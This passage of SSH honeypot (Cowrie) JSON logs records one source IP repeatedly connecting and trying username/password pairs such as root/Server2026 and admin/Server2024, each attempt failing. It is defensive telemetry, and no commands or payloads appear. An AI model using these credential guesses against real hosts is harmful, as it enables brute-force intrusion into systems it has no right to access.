742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.907490Z","src_ip":"203.115.100.24","session":"6e097b62716c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:12.555017Z","src_ip":"34.39.58.191","session":"b582b6091462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2022","message":"login attempt [user/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:12.861246Z","src_ip":"203.115.100.24","session":"6e097b62716c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:13.334430Z","src_ip":"203.115.100.24","session":"6e097b62716c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54320,"dst_ip":"10.17.0.5","dst_port":22,"session":"c533d3aa3c02","protocol":"ssh","message":"New connection: 203.115.100.24:54320 (10.17.0.5:22) [session: c533d3aa3c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:13.585272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:13.589772Z","src_ip":"203.115.100.24","session":"c533d3aa3c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:13.826440Z","src_ip":"203.115.100.24","session":"c533d3aa3c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2022","message":"login attempt [user2/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:14.806256Z","src_ip":"203.115.100.24","session":"c533d3aa3c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:15.295274Z","src_ip":"203.115.100.24","session":"c533d3aa3c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54418,"dst_ip":"10.17.0.5","dst_port":22,"session":"408dfb8ff8bf","protocol":"ssh","message":"New connection: 203.115.100.24:54418 (10.17.0.5:22) [session: 408dfb8ff8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:15.543722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:15.548041Z","src_ip":"203.115.100.24","session":"408dfb8ff8bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:15.775490Z","src_ip":"203.115.100.24","session":"408dfb8ff8bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2026","message":"login attempt [root/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:16.713702Z","src_ip":"203.115.100.24","session":"408dfb8ff8bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:17.192368Z","src_ip":"203.115.100.24","session":"408dfb8ff8bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54510,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e120f06828","protocol":"ssh","message":"New connection: 203.115.100.24:54510 (10.17.0.5:22) [session: 56e120f06828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:17.418578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:17.423385Z","src_ip":"203.115.100.24","session":"56e120f06828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:17.638062Z","src_ip":"203.115.100.24","session":"56e120f06828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2026","message":"login attempt [admin/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:18.522316Z","src_ip":"203.115.100.24","session":"56e120f06828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:19.004885Z","src_ip":"203.115.100.24","session":"56e120f06828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54607,"dst_ip":"10.17.0.5","dst_port":22,"session":"216a521da539","protocol":"ssh","message":"New connection: 203.115.100.24:54607 (10.17.0.5:22) [session: 216a521da539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:19.249157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:19.253297Z","src_ip":"203.115.100.24","session":"216a521da539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:19.480662Z","src_ip":"203.115.100.24","session":"216a521da539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2026","message":"login attempt [user/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:20.422708Z","src_ip":"203.115.100.24","session":"216a521da539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:20.898853Z","src_ip":"203.115.100.24","session":"216a521da539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f62d898d41b8","protocol":"ssh","message":"New connection: 203.115.100.24:54708 (10.17.0.5:22) [session: f62d898d41b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:21.151787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:21.156276Z","src_ip":"203.115.100.24","session":"f62d898d41b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:21.394620Z","src_ip":"203.115.100.24","session":"f62d898d41b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2026","message":"login attempt [user2/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:22.383747Z","src_ip":"203.115.100.24","session":"f62d898d41b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:22.869109Z","src_ip":"203.115.100.24","session":"f62d898d41b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54818,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec77f5b906de","protocol":"ssh","message":"New connection: 203.115.100.24:54818 (10.17.0.5:22) [session: ec77f5b906de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:23.110203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:23.115057Z","src_ip":"203.115.100.24","session":"ec77f5b906de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:23.348696Z","src_ip":"203.115.100.24","session":"ec77f5b906de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2024","message":"login attempt [root/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:24.305877Z","src_ip":"203.115.100.24","session":"ec77f5b906de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:24.786207Z","src_ip":"203.115.100.24","session":"ec77f5b906de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54917,"dst_ip":"10.17.0.5","dst_port":22,"session":"a36b842a7a41","protocol":"ssh","message":"New connection: 203.115.100.24:54917 (10.17.0.5:22) [session: a36b842a7a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:25.025843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:25.030703Z","src_ip":"203.115.100.24","session":"a36b842a7a41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:25.254256Z","src_ip":"203.115.100.24","session":"a36b842a7a41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2024","message":"login attempt [admin/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:26.184886Z","src_ip":"203.115.100.24","session":"a36b842a7a41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:26.664880Z","src_ip":"203.115.100.24","session":"a36b842a7a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55017,"dst_ip":"10.17.0.5","dst_port":22,"session":"891202de91cc","protocol":"ssh","message":"New connection: 203.115.100.24:55017 (10.17.0.5:22) [session: 891202de91cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:26.924492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:26.929136Z","src_ip":"203.115.100.24","session":"891202de91cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:27.164703Z","src_ip":"203.115.100.24","session":"891202de91cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2024","message":"login attempt [user/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:28.141594Z","src_ip":"203.115.100.24","session":"891202de91cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:28.612744Z","src_ip":"203.115.100.24","session":"891202de91cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55122,"dst_ip":"10.17.0.5","dst_port":22,"session":"e202d8b72855","protocol":"ssh","message":"New connection: 203.115.100.24:55122 (10.17.0.5:22) [session: e202d8b72855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:28.852475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:28.856946Z","src_ip":"203.115.100.24","session":"e202d8b72855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:29.078398Z","src_ip":"203.115.100.24","session":"e202d8b72855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2024","message":"login attempt [user2/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:30.001112Z","src_ip":"203.115.100.24","session":"e202d8b72855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:30.473466Z","src_ip":"203.115.100.24","session":"e202d8b72855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55223,"dst_ip":"10.17.0.5","dst_port":22,"session":"572313be8526","protocol":"ssh","message":"New connection: 203.115.100.24:55223 (10.17.0.5:22) [session: 572313be8526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:30.728202Z"}
